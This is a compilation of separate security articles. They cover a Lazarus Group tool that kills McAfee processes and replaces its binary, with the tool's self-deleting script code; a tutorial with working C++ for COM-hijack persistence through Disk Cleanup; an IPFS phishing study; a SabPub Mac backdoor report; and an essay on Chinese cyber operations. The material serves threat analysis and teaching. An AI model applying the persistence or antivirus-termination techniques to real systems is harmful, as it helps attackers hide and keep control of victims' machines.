## 7. [Antivirus Suite Killer] TangoDelta
Antivirus applications can be bothersome to malware developers, and TangoDelta is a solution to a specific antivirus problem: using the open-source Process Hacker’s kernel driver, TangoDelta attempts to terminate various McAfee VirusScan Enterprise and McAfee Agent-specific processes listed in Table 7-1.
### Target Processes of TangoDelta
| TARGET PROCESS NAME | DESCRIPTION |
|---------------------------|-----------------------------------------------------------|
| McShield.exe | The McShield On-Access Scanner Service |
| UdaterUI.exe | Provides the user interface for the updates |
| McTray.exe | The System tray icon management tool |
| shstat.exe | Responsible for loading the McAfee VirusScan (Vshield) icon in the Windows system tray, the VSE About screen, the On-Access Scanner statistics, and the messages window. |
| FrameworkService.exe | Provides the majority of (McAfee Agent) functionality |
| VsTsKMgr.exe | Facilitates janitorial duties within the McAfee Agent |
| mfeann.exe | Responsible for event creation and logging of the McAfee Agent |
| naPrdMgr.exe | The Product Manager for the McAfee Framework service |
TangoDelta requires no command line arguments; upon activation, it will generate and activate a service called KProcessHacker2 to load the Process Hacker driver into kernel memory. With the Process Hacker driver installed, TangoDelta connects to the driver and uses the Process Hacker function `TerminatorTP3` to terminate each of the McAfee processes listed in Table 7-1 in order. TangoDelta pays special attention to the McShield.exe process: after terminating the McAfee processes, TangoDelta continually scans for McShield.exe’s process in the list of active processes on the victim’s machine, sleeping for 10ms between scans. Once McShield.exe has been successfully terminated, TangoDelta locates the path to the McShield.exe file by inspecting the registry key `HKLM\SYSTEM\CurrentControlSet\services\McShield\ImagePath` and then replacing the McShield.exe binary with itself. This ensures that upon reboot, TangoDelta will load rather than the legitimate McAfee McShield.exe binary.
With the McAfee processes terminated and TangoDelta replacing the legitimate McShield.exe file, TangoDelta disconnects from the Process Hacker driver and removes it from memory before deleting the driver’s service from the Windows services database. TangoDelta then activates the new McShield.exe binary by reactivating the McShield service before generating and executing a suicide script to remove the original TangoDelta binary.
The suicide script that TangoDelta generates is nearly identical to that of WhiskeyAlfa-One. The only difference between the suicide scripts is the superfluous `strcpy(buffer, "@echo off\r\n")` instruction at the beginning of TangoDelta’s script generation. Otherwise, the suicide scripts are identical in structure, filename (`%TEMP%\zawq.bat`), and the APIs that are used in their generation and execution.
```c
strcpy(buffer, "@echo off\r\n");
strcpy(buffer, ":Loop\r\ndel \"");
strcat(buffer, szTangoDeltaFilename);
strcat(buffer, "\"\r\nif exist \"");
strcat(buffer, szTangoDeltaFilename);
strcat(buffer, "\" goto Loop\r\ndel \"");
strcat(buffer, szSuicideScriptFilename);
strcat(buffer, "\"");
WriteFile(hFile, buffer, strlen(buffer), &NumberOfBytesWritten, 0);
CloseHandle(hFile);
ShellExecuteA(0, "open", szSuicideScriptFilename, 0, 0, 0);
```
---
## 8. Conclusion
While the tools profiled in this report are not inherently malicious, their capabilities are nonetheless integral to the Lazarus Group’s cyber operations, both espionage and destructive in nature, making them inherently dangerous to potential victims. These tools often lay the groundwork for further malicious activity, such as the targeting of antivirus capabilities and the disabling of firewalls, both of which are very fundamental defensive measures. Furthermore, like many other identified Lazarus Group families, these tools showcase the group’s creative solutions, such as the PapaAlfa proxy, which makes it difficult to immediately identify potentially malicious activity on a compromised network.
|
# Malware Development: Persistence - Part 19. Disk Cleanup Utility
Hello, cybersecurity enthusiasts and white hackers! This post is based on my own research into one of the more interesting malware persistence tricks: via Disk Cleanup Utility.
## Disk Cleanup
If you have ever had an issue with limited hard disk space, you are certainly familiar with the Disk Cleanup utility. Good news for red teamers, the “Files to delete” list displayed in the user interface is not random. Just run the command:
```
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches" /s
```
As you can see, there are even default values of registry keys here. Also, if we have `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\default=<CLSID>`, we can find another registry key value: `HKCR\CLSID\<CLSID>\InProcServer32=<DLLPATH>`.
This suggests that we can use COM DLL hijacking for persistence. Let’s try.
## Practical Example
First of all, as usually, create “evil” DLL (`hack.cpp`):
```cpp
/*
hack.cpp
simple DLL
author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
```
As usually, for simplicity, it’s just a meow-meow message box. And then create a persistence script (`pers.cpp`):
```cpp
/*
pers.cpp
windows persistence via Disk Cleaner
author: @cocomelonc
*/
#include <windows.h>
#include <string.h>
#include <cstdio>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// subkey
const char* sk = "Software\\Classes\\CLSID\\{8369AB20-56C9-11D0-94E8-00AA0059CE02}\\InprocServer32";
// malicious DLL
const char* dll = "Z:\\2022-11-16-malware-pers-19\\hack.dll";
// startup
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)sk, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, NULL, 0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
} else {
printf("cannot create subkey value :(\n");
return -1;
}
return 0;
}
```
As CLSID, I took `8369AB20-56C9-11D0-94E8-00AA0059CE02`. As you can see, the code is similar to the COM hijacking post. The difference is only in the values of the variables.
## Demo
Let’s go to compile our evil DLL:
```
x86_64-w64-mingw32-gcc -shared -o hack.dll hack.cpp
```
And persistence script:
```
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
```
Copy to the victim’s machine. In my case, Windows 10 x64. Run:
```
reg query "HKCU\Software\Classes\CLSID\{8369AB20-56C9-11D0-94E8-00AA0059CE02}" /s
.\pers.exe
```
As you can see, everything worked perfectly! =^..^= But for persistence, it requires the user to run Disk Cleanup Utility. Here, I can use one of the classic tricks for persistence. Adding Disk Cleanup to run during the start-up may not be the best idea, because it has a GUI. I tried using the command line arguments of this program:
```
cleanmgr.exe
cleanmgr.exe /cleanup
cleanmgr.exe /autoclean
cleanmgr.exe /setup
```
But failed. It worked correctly. I think I will return to this issue in one of the future posts.
Also, according to Microsoft documentation, we can add new entries to:
```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches
```
I don’t know if any APT in the wild used this tactic and trick, but I hope this post spreads awareness to the blue teamers of this interesting technique, especially when creating software, and adds a weapon to the red teamers' arsenal.
This is a practical case for educational purposes only.
Thanks for your time, happy hacking and goodbye!
PS. All drawings and screenshots are mine.
|
# IPFS: A New Data Frontier or a New Cybercriminal Hideout?
By CSS Team Researchers: Cedric Pernet, Jaromir Horejsi, Loseway Lu
With the rise of new technologies, innovations keep appearing that help us with our various activities. A notable system that has emerged in recent years is the IPFS system, a decentralized storage and delivery network based on peer-to-peer (P2P) networking and belonging to the emerging “Web3 technologies.” IPFS allows users to host or share content on the internet at a more affordable price, with availability and resiliency capabilities. Unfortunately, it also provides opportunities for another part of the population: cybercriminals.
In this article, we briefly detail what IPFS is and how it works at the user level, before providing up-to-date statistics about the current usage of IPFS by cybercriminals, especially for hosting phishing content. We will also discuss emerging new cybercrime activities abusing the IPFS protocol and detail how cybercriminals already consider IPFS for their deeds.
## What is IPFS?
IPFS stands for Interplanetary File System. It is a decentralized storage and delivery network, which is built on the principles of P2P networking and content-based addressing. Let’s try comparing it to the way the usual web works. Most of the actual content hosted on the web is served via web servers. In a very simplified view, the way it works on the internet is that different computers request data from different web servers. This data can be web pages, files, or just any content that is accessible via an internet browser. Most of the time, that content is hosted on a single web server, which serves its content to every computer requesting it.
IPFS is a bit different, in the way that there is no central web server providing the data: it can be provided by any of the peers (also called nodes) hosting the data.
To start sharing files on IPFS, users can download and use an IPFS Desktop client, API, or use online services. Once a file is requested by a node that does not have it, the file is copied so it can be shared for others later. This way, more nodes can provide the file. This method makes it possible for any user, including cybercriminals, to create a free account on an online service and start hosting content on the IPFS network, without necessarily running a node on their own infrastructure.
### IPFS Content Identifier (CID)
When browsing the internet, users generally access URLs, such as trendmicro.com, for example. The users’ computer requests the DNS system to know where the data is located and fetches it from that location. Therefore, the client-server model of the web is said to be location-addressed.
In the P2P model adopted by IPFS, a given file might be located on a number of different IPFS peers. The storage of those files is addressed by a cryptographic hash of its content, known as the content identifier (also called CID). The CID is a string of letters and numbers unique to files. A file will always have the same CID, no matter where it is stored. This is why IPFS is said to be content-addressed. It should also be noted that a file will have a different CID if it is modified in any way. Two versions of the CID exist. The CID v0 format is made of 46 characters and always starts with the characters “Qm,” while the CID v1 format uses base32.
It is possible to convert CID v0 to the CID v1 format.
### IPFS Data Browsing
CIDs and their corresponding files can be accessed via two ways. The first way consists of using a browser that handles the IPFS protocol natively. Currently, only Brave browser supports IPFS. The computer runs an IPFS daemon in the background, which the browser uses to natively access the IPFS content.
The second way consists of accessing content via so-called “IPFS gateways.” These gateways are used to provide workarounds for applications that don’t natively support IPFS. To summarize, a gateway is an IPFS peer that accepts HTTP requests for IPFS CIDs, allowing users to use their default browsers to access the IPFS content.
The global formats look like this:
An example of a complete path to access IPFS content via the ipfs.io gateway looks like this:
`https://gateway.ipfs.io/ipfs/{randomly generated string}`
To access the same content via the CloudFlare gateway, the URL would become:
`https://{same randomly generated string}.ipfs.cf-ipfs.com/`
Notice how the URL changes because we use a different gateway, but the CID (the randomly generated string) from this example does not change. Additional parameters might follow that kind of URL depending on the case, just like any web link.
### IPFS Pinning
Nodes handle the files stored on the IPFS network by caching them and making them available for other nodes on the network. As every node only has a finite cache storage amount, it is sometimes necessary to clean the cache used by the node, which is an operation called the “IPFS Garbage collection process.” During the operation, cached content that it considers no longer needed is removed. This is where IPFS pinning comes in. IPFS pinning consists of pinning data to ensure that it is not removed from the cache and is always accessible.
IPFS pinning can be done on locally hosted nodes, but pinning services exist to ensure long-term storage. It is interesting for cybercriminals who might use it to have their content stay accessible for longer periods.
### IPNS – Interplanetary Name System
IPNS is another protocol, the Interplanetary Name System. It can be seen as a kind of DNS system, but for IPFS. IPNS records are signed using a private key and contain IPFS content path and some other information, such as expiration or version number. IPNS records are published over the Distributed Hash Table (DHT) protocol. Therefore, it needs republishing on a regular basis not to be forgotten by the DHT peers over time.
To summarize, here is an example of an IPNS record:
`/ipns/k2k4r8oid7ncjwgnpoy979brx3r9ellvvwofht57mc9q4jzlxtydalvf` points to
`/ipfs/QmYr5ExzJJncpMNhqzhLjkCrRNgm4UmyX28gcYjt5RLYY8`
The IPNS address might be reassigned later to point to other content.
### DNSLink
DNSLink uses the TXT records from the DNS protocol to map a DNS name to an IPFS address. This makes it easier for administrators to maintain links to IPFS resources as the DNS TXT record can be changed easily. DNSLink addresses look like IPNS addresses, except that it uses a DNS name to replace the hashed public key.
As an example, a DNSLink could look like this:
`/ipns/example.org`
To map the relation, the DNS TXT record needs to be prefixed with dnslink, followed by the hostname. To further elaborate, here is an example of a DNS TXT record for `_dnslink.en/Wikipedia-on-ipfs.org`, which resolves as
`dnslink=/ipfs/bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze.`
## IPFS Usage
IPFS can be used for a variety of reasons, including but not limited to:
### Data Storage and Resilience
Resilience relates to the adaptability of a network against isolation. It is also the ability to provide and maintain a service in the case of faults. IPFS provides it in the sense that data is generally stored on several different nodes, making the data less prone to becoming unavailable. It is also possible to store any kind of data at a very low price on IPFS via services such as Filecoin.
### Smart Contracts and Non-Fungible Tokens
Smart contracts are programs stored on the blockchain that can be triggered by transactions. While saving data on the blockchain can be expensive, using decentralized storage such as IPFS as the database can reduce costs. For example, one of the common implementations of NFT projects involves storing the metadata and the images (can also be a video, clip, music, etc.) on IPFS, then accessing the data using smart contracts.
### Voting
Voting platforms such as Snapshot allow users or companies to use IPFS for storing proposals and user votes or polls.
### Document Signing
Some online services are available for decentralized versions of document signing. Users can “sign” documents with their wallets. In this usage, the document files are stored on IPFS, and the signatures are stored on the Ethereum blockchain.
### Fighting Censorship
IPFS might be used by people living in countries that have active censorship technologies. The ability to access the same content via multiple different gateways makes it easier to find a way to reach data without it being blocked. The blocking solutions deployed in such countries might just block one specific gateway and not others, for example.
### Paste Tools
Just as the website pastebin.com is located on the clear web, some paste services do exist on IPFS, like hardbin.com, for example.
### Decentralized Apps
Decentralized apps or dApps can be built and hosted on IPFS. Available frameworks, such as Fleek, can help developers create such apps. There are just as many different uses of dApps for IPFS as for the usual clear web.
### Ecommerce
IPFS can be used to run ecommerce websites. During our research, we discovered one ecommerce framework. This particular framework provides hosting on IPFS and works with cryptocurrencies, which makes it particularly interesting for cybercriminals.
## Cybercrime Statistics
We have analyzed several months of IPFS-related cybercriminal activity from our telemetry. For a few reasons, the method is not exhaustive, and the numbers provided might be lower than reality, yet we still find them very interesting. The first limitation in analyzing our data comes from the fact that some IPFS URLs were just not working at the time of our analysis. Another limitation comes from the data themselves: URLs leading to password-protected files (mostly archive files) could not be analyzed, thus we cannot know the content of those archives. Finally, some of our customers do not want to send back any detection data, so our analysis can’t be 100% accurate.
The results we obtained seem fairly constant from one month to the other in the observed range, from May to September 2022.
As can be seen in the statistics, the total number of IPFS analyzed in our telemetry per month ranges from 5.5 million to 7.9 million hits. The number of threats posed by IPFS in our data steadily increases. While it represented 1.8% of the global IPFS traffic in May 2022, it now counts for almost 6% of the traffic. We believe with high confidence that it is still going to increase in the future.
### Scams
We found very few IPFS-hosted content related to scams. The content we found, which was never more than 0.02% of the threats, consists of images used by scammers such as those used for lottery scams, or more recently, in Bored Ape NFT scams. They are all related to long-time existing types of fraud.
### Phishing
Phishing consists of enticing unsuspecting users into providing their credentials to cybercriminals, generally via phishing emails, SMS, messages on social networks, private messages, etc., leading to phishing pages hosted on the internet. Those phishing pages generally pretend to be a mailbox access or just any kind of online services in order to make victims fill it with their login credentials, which cybercriminals can later use for different fraudulent purposes.
While phishing pages are relatively easy to set up, its main weakness resides in the hosting of such pages. As soon as a phishing page is reported, it is generally blocked within minutes by security solutions and taken down by the hosting company. Using IPFS to host such phishing pages makes sense since the pages will be harder to take down.
The majority of IPFS threats we analyzed are phishing threats. Phishing occurs in more than 90% of the global IPFS threats for every month we analyzed, reaching 98.78% in September 2022.
### Phishing Statistics: IPFS vs Non-IPFS
To fully understand the threat of IPFS phishing, it needs to be compared to usual phishing using the web. While the percentage of IPFS vs. non-IPFS might seem low (between 3.5% and 9% of phishing threats), the volume is a growing concern. In October 2022, unique IPFS CIDs represented 9% of the global phishing threat, yet it still represents more than 23,000 unique pages hosted on IPFS for that month. We believe these numbers are still going to increase in the future, and we are confident that IPFS phishing will count for more than 10% of the phishing threat in the coming months.
It is also difficult to determine the real impact of IPFS phishing, as these statistics only reflect a number of unique domains/CIDs, but not the number of emails spreading each of those. A unique domain might be triggered by millions of emails while another one might only spread to a few thousand victims.
### IPFS Phishing: Stolen Data Still on the Usual Web
Unsuspecting users are led to phishing pages via an initial email that contains an IPFS link to the page. The link contains one parameter transmitted to the page, which is the email address of the target. Yet when analyzing the HTTP POST request headers sent by a victim who would click on the “Sign In” button, we see the data goes to a usual URL on the web.
This might be our most interesting discovery here: we found no IPFS phishing page that would send the data to IPFS. All of the phishing pages we analyzed do send the stolen data to usual servers on the web.
### Phishing Emails
Our telemetry reports a daily activity of about 27,000 unique emails containing phishing IPFS links, leading to phishing pages hosted on IPFS. This activity covers approximately 30 different phishing campaigns per day.
As can be seen, the phishing email topics are no different from the ones on the clear web that use common social engineering methods.
### Malware
So far, we have seen very few cybercriminals making use of IPFS to host malware. We found 180 different malware samples through the last five months, which is incredibly low compared to the numerous samples we see every month. We found very few ransomware on IPFS; most of those we found were older ransomware families. Amongst the usual low-level malware that you might expect on the internet, such as adware and potentially unwanted applications (PUA), we found a few more serious threats on IPFS.
#### Information Stealers and Remote Administration Tools
Info stealers and malicious RATs are amongst the biggest threats on the internet, and we found a few families on IPFS.
| Malware Family | Number of Unique Samples |
|----------------|--------------------------|
| Agent Tesla (Trojan.MSIL.AGENTTESLA.THCOCBO) | 55 samples |
| Formbook (Trojan.Win32.FORMBOOK.EPX, Trojan.W97M.FORMBOOK.AQ) | 10 samples |
| Remcos RAT (Backdoor.Win32.REMCOS.TICOGBZ) | 9 samples |
| Redline Stealer (TrojanSpy.MSIL.REDLINESTEALER.YXBDN, TrojanSpy.Win32.REDLINE.X, TrojanSpy.MSIL.REDLINESTEALER.N) | 6 samples |
| Other various RATs/infostealers | 3 samples |
In addition to malware, we also found common tools used for legitimate and non-legitimate purposes hosted on IPFS, such as proxying tools or scamming tools, and file binders. Finally, we could find seven cryptominer samples that are hosted on IPFS, which might be used for legitimate or illegitimate purposes, depending if they are run legally or on compromised machines.
## IPFS in Underground Forums
### IPFS Discussions
Just as with any new technology, IPFS is being discussed in cybercriminal underground forums. The discussions range from non-technical topics, often produced by low-skilled cybercriminals with questions like “what is IPFS?” to real technical conversations about IPFS infrastructure. Some of those cybercriminals were criticizing the protocol, mostly by emphasizing that it is really slow and cannot be used for all purposes, while others were more enthusiastic and already using it.
One of the IPFS adopters asked on the Lapsu$ Chat on Telegram, however, did not get an answer:
“Lapsus team, how feasible would it be to set up an IPFS node on the server you’re currently seeding from? Data would be quickly cached on Cloudflare for free and downloads would be super fast.”
### IPFS for Data Sharing Amongst Cybercriminals
Cybercriminals often need to share files, cybercrime methods/tutorials, or even just screenshots on the underground forums, and use free data hosting services such as MediaFire or Mega for these purposes. Some might also use hosting on the Tor union network. We have seen an increasing number of cybercriminals using IPFS to store such content and share it with their peers since 2021. As an example, we saw one user share a PDF file on IPFS in November 2022 that is actually a tutorial on “How to build a website/shop that cannot be shut down by law enforcement.”
### IPFS for Illegal Content Hosting
We found advertisements in underground forums for a few illegal commercial services that were hosted on IPFS. The website owners describe themselves as veterans from the Darknet interested in new technologies.
## Conclusion
IPFS and its related IPNS are protocols that can be abused by cybercriminals, just like any other protocol. Cybercriminals with average or low skill levels will probably not use much of the technology, mostly because it needs some preparation and knowledge to be used efficiently. Yet, the more advanced malicious actors might see opportunities in it. Backed by the fact that they are already talking about it in their underground forums. Additionally, some of them are already using it for hosting and conducting their deeds.
Ecommerce looks to be growing in the IPFS environment and this has definitely been exploited by the cybercriminals. They have set up stores selling illegal goods, and in the event that one node is down, another will take its place, providing resiliency. However, we should also take note of the increase of phishing sites and how it works well in IPFS. Other threat actors are also using the system to host malware. We also expect some threat actors to create their own IPFS gateways and run nodes to keep their content online as much as possible.
While IPFS is a popular choice when it comes to Web 3.0 decentralized storage, there are more options. We expect threat actors to explore other Web3 storages for their operations moving forward. In this sense, we must become more vigilant whenever a new technology appears, because while it can benefit a lot of people, cybercriminals can also see opportunities.
|
# New Version of OSX.SabPub & Confirmed Mac APT Attacks
Late last week, we found evidence of a possible link between a Mac OS X backdoor trojan and an APT attack known as LuckyCat. The IP address of the C&C to which this bot connects (199.192.152.*) was also used in other Windows malware samples during 2011, which made us believe we were looking at the same entity behind these attacks.
For the past two days, we have been monitoring a “fake” infected system, which is a typical procedure we do for APT bots. We were extremely surprised when during the weekend, the APT controllers took over our “goat” infected machine and started exploring it.
On Friday, April 13, port 80 on the C&C server located at rt*****.onedumb.com and hosted on a VPS in Fremont, U.S. was closed. Saturday, the port was opened and the bot started communicating with the C&C server. For the entire day, the traffic was just basic handshakes and exchanges, nothing more.
On the morning of Sunday, April 15, the traffic generated by the C&C changed. The attackers took over the connection and started analyzing our fake victim machine. They listed the contents of the root and home folders and even stole some of the goat documents we put in there!
We are pretty confident the operation of the bot was done manually, which means a real attacker manually checks the infected machines and extracts data from them. We can therefore confirm SabPub as APT in active stage.
On Sunday midday, the C&C domain was shut down and the bot lost connection to it; this appears to be an initiative from the free DNS service onedumb.com and was no doubt triggered by the media attention. Interestingly, the VPS used as the C&C is still active.
While analyzing SabPub, we discovered another version of the backdoor which seems to have been created earlier. This version differs from the original one only slightly—the hardcoded C&C address is different. Instead of the onedumb.com subdomain used by the original sample (hardcoded in the bot as “e3SCNUA2Om97ZXJ1fGI+Y4Bt”), this one simply contains the IP address of the VPS (hardcoded as “OjlDLjw5Pi4+NUAuQDBA”), meaning it should still be operational. Its size is 42556 bytes vs 42580 for the original one.
One of the biggest mysteries is the infection vector of these attacks. Given the highly targeted nature of the attack, there are very few traces. Nevertheless, we found an important detail which is the missing link: six Microsoft Word documents, which we detect as Exploit.MSWord.CVE-2009-0563.a. In total, we have six relevant Word .docs with this verdict—with four dropping the MaControl bot. The remaining two drop SabPub.
The most interesting thing here is the history of the second SabPub variant. In our virus collection, it is named “8958.doc.” This suggests it was extracted from a Word document or was distributed as a Doc-file. We performed an analysis of the same and traced its origin by the MD5 (40C8786A4887A763D8F3E5243724D1C9). The results were fascinating:
- The sample was uploaded to VirusTotal on February 25, 2012—from two sources in the U.S.
- In both cases, the original file name was “10th March Statemnet” (yes, with the typo and without extension).
- Zero detections on VirusTotal at that time (0/40).
In case you are wondering, the name of the file (“10th March Statemnet”) is directly linked with the Dalai-Lama and Tibetan community. On March 10, 2011, the Dalai-Lama released a special statement related to the Anniversary of the Tibetan People’s National Uprising Day—hence the name.
Unfortunately, there is little information in the doc files, but the Author field and the creation date are interesting. In particular, if we trust the creation date, this means the container DOC was created in August 2010 and it was updated in 2012 with the SabPub sample. This is quite normal for such attacks and we have seen it in other cases, for instance, Duqu.
We think the above facts show a direct connection between the SabPub and Luckycat APT attacks. We are pretty sure the SabPub backdoor was created as far back as February 2012 and was distributed via spear-phishing emails.
It is also important to point out that SabPub isn’t backdoor MaControl (the case was described here) but still uses the same topics to trick victims into opening it. SabPub was the more effective attack because it remained undetected for almost two months!
The second variant of SabPub was created in March and the attackers are using Java exploits to infect target Mac OS X machines. SabPub is still an active attack and we expect the attackers will release new variants of the bot with new C2s over the next days/weeks.
To summarize:
- At least two variants of the SabPub bot exist today.
- The earliest version of the bot appears to have been created and used in February 2012.
- The malware is being spread through Word documents that exploit the CVE-2009-0563 vulnerability.
- SabPub is different from MaControl, another bot used in APT attacks in February 2012; SabPub was more effective because it stayed undetected for more than 1.5 months.
- The APT behind SabPub is active at the time of writing.
|
# China’s Electronic Long-Range Reconnaissance
Lieutenant Colonel Timothy L. Thomas, U.S. Army, Retired, is a senior analyst at the Foreign Military Studies Office (FMSO) at Fort Leavenworth, Kansas. He holds a B.S. from the U.S. Military Academy and an M.A. from the University of Southern California.
Congress passed legislation this week requiring the Pentagon to report on China’s growing computer-warfare capabilities when producing assessments of Chinese military power. The fiscal 2008 National Defense Authorization Act contains a provision requiring the annual Military Power of the People’s Republic of China report to include a new section on Beijing’s “efforts to acquire, develop, and deploy cyberwarfare capabilities” in its assessments of China’s “asymmetric” warfare capabilities.
Since 2005, Chinese cyber attacks against U.S. systems have increased at an alarming rate. However, the term “attack” carries unwanted connotations; these unwarranted incursions are more likely reconnaissance missions to collect intelligence on U.S. military systems, to spot vulnerabilities or plant trap-doors or viruses in our systems, and to ensure that China’s People’s Liberation Army (PLA) has an immediate advantage in the event of war involving America and China. If the incursions were “attacks,” then our systems would be down and destroyed. Instead, these computer reconnaissance measures appear to conform to an old Chinese stratagem: “a victorious army first wins and then seeks battle. A defeated army first battles and then seeks victory.” Reconnaissance via computer to spot vulnerabilities before the first battle fits the stratagem well.
The United States, of course, is not the only country accusing the Chinese of unwarranted incursions. Germany, England, France, Japan, Taiwan, Australia, and others have also been Chinese targets. When one views these events in the light of open-source accounts of Chinese information operations (IO) theory over the past several years, there is much circumstantial evidence to find China guilty as accused. The only actual forensic evidence, of course, is classified and located in the security agencies of the countries that China has electronically invaded.
This article explains Chinese military thought that supports their cyber-attack activities. While other articles focus on who was attacked and how many times, this article focuses more on the theory behind the attacks, especially the PLA’s use of electronic stratagems for their computer network operations and the use of surrogates such as patriotic hacker groups. The article reviews Chinese incursions since 2005 and examines open-source assessments provided by some of the most important Chinese information warfare theorists.
The PLA has followed theory with practice. Computer network operations have become part of the peacetime strategic activities of the PLA. More worrisome is the purpose of these incursions. Is it reconnaissance? Or is the purpose of these incursions to place Trojan horses or some other device into U.S. and other partner systems to disable or destroy them in case of war?
As one reads about Chinese information warfare developments, it becomes clear that China’s potential intentions raise questions. While the exact reason for China’s cyber attacks is unknown, we can follow a cause-and-effect rationale in Chinese contemporary writings. The cause of China’s attachment to new information technologies and the “informatization” of their force is the dramatic impact the technologies have had on military affairs, most notably the U.S. use of technology in Iraq. The effect of these technologies on Chinese military thought is the Chinese belief that only countries that take the initiative in an information war or establish information superiority and control ahead of time will win, and that this requires reconnaissance and intelligence gathering before the first battle to set the stage for the use of cyber forces.
Historically, the PLA based its strategic philosophy on “active defense,” meaning that China would never attack someone first but would be ready to respond if attacked. That philosophy has changed over the past few years with the advent of the cyber age. There has been a continuous stream of open-source descriptions of both cyber units and offensive cyber operations by the Chinese military. The PLA’s open recognition of a need for offensive operations reflects a significant break with traditional military thought. Further, the PLA has openly stated that U.S. reliance on computer systems is a huge vulnerability ripe for exploitation. If the PLA hopes to offset America’s huge advantage in practical application of IO theory (in Kosovo, Iraq, and Afghanistan), it has to exploit that vulnerability.
To understand this shift from defensive to offensive-minded operations, we must begin by looking at developments in 1999. In early 1999, Chinese IO theorists were already discussing offensive actions. Zhu Wenguan and Chen Taiyi’s *Information War*, published in 1999, contains a section called “Conducting Camouflaged Preemptive Attacks.” The authors note that preemptive active offense is needed to disrupt and destroy enemy computer offensive forces. A part of preemption appears to be network surveillance, which involves collecting information on the performance, purpose, and structure of systems related to C4I, electronic warfare, and weapon systems. The authors note that, in the broadest sense, computer information surveillance is a part of computer information attack. They state:
> To conduct computer surveillance, we can use computer information networks set up in peacetime and enter networks as different users to do the surveillance in an area broader than the battlefield. We can borrow the power of computer experts, especially Chinese hackers, to finish computer surveillance tasks.
The authors add that the PLA established small brigades of offensive and defensive computer confrontation forces to conduct these attacks. Offensive training includes how to design and organize virus invasions and how to enter the other side’s computer networks. Offensive brigades must repeatedly study and analyze the enemy’s potential. They must also be able to sort truth and deception, pinpoint enemy computer-control centers, and jam in targeted ways.
In November 1999, a *Jiefangjun Bao* (Liberation Army Daily) article stated that China may develop an information warfare branch of service—a “net force”—to complement the army, navy, and air force. While the article said this development was very likely to become a reality, there is no evidence to confirm the creation of such a branch of service today. The force’s task would be to protect net sovereignty and engage in net warfare. Elements of net warfare include “offensive and defensive” technologies, “scanning” technologies, “masquerade” (deception) technology, and “recovery” technology. Masquerade technology would assist a person who wanted to disassemble as a commander and take over a net.
The idea of focusing on reconnaissance and stratagem activities arose as early as 2000. A *Jiefangjun Bao* article notes that units at and above army level should focus their study on reconnaissance and early warning, command coordination, and the application of strategy. An article substantiating this thought appeared in the PLA’s authoritative journal *China Military Science* (similar in importance to *Joint Force Quarterly*). The latter article notes that stratagems should create opportunities and favorable times for releasing viruses.
Another *China Military Science* article clarified the offensive posture described in 1999. In it, General Dai Qingmin opines that offense is at least as important as active defense, and notes, “As the key to gaining the initiative in operations lies in positively and actively contending with an enemy for information superiority, China should establish such a view for IO as ‘active offense.’” His view is that active offense is essential for maintaining information control, obtaining the initiative, and offsetting an opponent’s superiority. Offensive information methods can help sabotage an enemy’s information system.
Dai, who became the head of the PLA General Staff’s Fourth Department (Electronic Warfare), also notes that IO stratagems can be formulated before launching a war to serve as “a sharp sword” that sabotages and weakens a superior enemy, while protecting or enhancing China’s fighting capacity. Information warfare can serve as a type of invisible fighting capacity to evade combat with a stronger enemy. If a future information warfare goal is to defeat strong forces with weak forces using stratagems, then such methods are one of China’s asymmetric means to combat U.S. high technology. Stratagems would thus be one of the “magic weapons” that strategic culture is always stressing.
Finally, Dai’s August 2000 article in *China Military Science* discusses the use of electrons as stratagems and the development of an integrated network electronic warfare capability. When combined with the active-offense concept, this article represents one of the most important information warfare articles written in China.
The Chinese believe that only countries that take the initiative in an information war or establish information superiority and control ahead of time will win. This focus on information invites completely new methods in future wars.
Over the past several years, Chinese information warfare and IO capabilities have become more visible and troubling. China has used these capabilities not only against the U.S. but reportedly against Japan, Taiwan, Germany, England, and Australia as well. Due to the nature of computer network operations, exactly how many Chinese information warfare reconnaissance or offensive events have transpired or the actual intent of these incursions remains unknown. Those episodes that have leaked into the public domain include the following:
- Espionage conducted against the U.S. Department of Defense computers, reported in *Time* magazine. The report concerned a Chinese cyber espionage ring that federal investigators code-named Titan Rain.
- Chinese attempts to blind a U.S. satellite, reported in *Defense News*. The report discussed high-powered Chinese laser attacks on a U.S. satellite.
- Chinese hacker attacks on the U.S. Naval War College’s net capability, reported in *Federal Computer Week*. This attack purportedly originated from China and took systems offline.
- The Chinese destruction of an old Chinese weather satellite with an anti-satellite missile, reported on *National Public Radio*. The report cited a Beijing People’s University commentator.
- A sophisticated computer attack on Tennessee’s Oak Ridge National Laboratory in October and November 2007. The assault was in the form of phony e-mails which, when opened, allowed hackers to penetrate the lab’s computer security.
- Hacker attacks against Japan and Taiwan, reported in the Japanese and Taiwanese press. The reports noted that these attacks were retaliations for Japan’s anti-Chinese interpretations of history and for Taiwanese claims for independence.
On 5 September 2007, the *Kansas City Star* carried an article in which China denied cyber-attacking any country. Foreign ministry spokesperson Jian Yu noted, “The Chinese government has always opposed an internet-wrecking crime, including hacking, and cracked down on it according to the law.” He dismisses accusations of Chinese attacks on Pentagon computers as “groundless.” A Pentagon spokesperson refused to say if the perpetrator was China, but Britain’s *Financial Times* quotes an unidentified senior U.S. official as saying the source had been traced to the PLA.
